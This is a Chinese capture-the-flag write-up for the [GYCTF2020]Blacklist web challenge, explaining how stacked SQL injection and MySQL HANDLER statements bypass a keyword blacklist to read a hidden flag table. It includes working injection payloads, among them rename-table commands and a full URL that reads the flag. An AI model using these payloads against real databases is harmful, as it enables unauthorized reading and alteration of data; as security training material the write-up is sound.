练习8 Web [GYCTF2020]Blacklist

这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法

查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)

是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中

先输入一些常规数字或者字母字符

返回值:

  • 数字:1
php 复制代码
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
  • 数字:2
php 复制代码
 array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

其他字符均没有返回值

尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了

在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了"堆叠注入"

堆叠注入详解

堆叠注入是用 ; 分隔开的多行sql语句

sql 复制代码
?inject=2';show databases;#

得到以下内容

继续 show tables

找到一个"FlagHere"表

查找"FlagHere"下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)

应该是要想办法打印出来

到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的

查找"words"下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的"一个数字+一个字符串"的格式

再下一步的思路是既然默认查询到的是显示"word"这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了

依次将words表改名为noWords

FlagHere改名为words

然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应

sql 复制代码
?inject=2';
rename table `words` to `noWords`; 
rename table `FlagHere` to `words`;
alter table `words` change `flag`  `id` varchar(100);#

提交发现alter也被过滤了,服了

直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)

又是新东西

Handler语法

handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。

HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

sql 复制代码
> 1、HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

sql 复制代码
> 3、HANDLER tbl_name CLOSE

关闭打开的句柄。

sql 复制代码
> 4、HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

直接用handler语法打印之前查到的FlagHere表,输出内容就行

http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

相关推荐
5***E6854 小时前
【SQL】写SQL查询时,常用到的日期函数
数据库·sql
遇见火星5 小时前
CentOS7 通过源码安装 Redis
数据库·redis·缓存
Mr.朱鹏5 小时前
RocketMQ安装与部署指南
java·数据库·spring·oracle·maven·rocketmq·seata
Coder-coco5 小时前
个人健康管理|基于springboot+vue+个人健康管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·mysql·论文
K哥11255 小时前
【9天Redis系列】基础+全局命令
数据库·redis·缓存
s***46985 小时前
【玩转全栈】----Django模板语法、请求与响应
数据库·python·django
f***R85 小时前
redis分页查询
数据库·redis·缓存
g***72705 小时前
【mysql】导出导入mysql表结构或者数据
数据库·mysql
煎蛋学姐5 小时前
SSM汽车租赁管理系统mfobv(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·汽车·ssm 框架·汽车租赁管理系统
w***37515 小时前
Spring 核心技术解析【纯干货版】- Ⅶ:Spring 切面编程模块 Spring-Instrument 模块精讲
前端·数据库·spring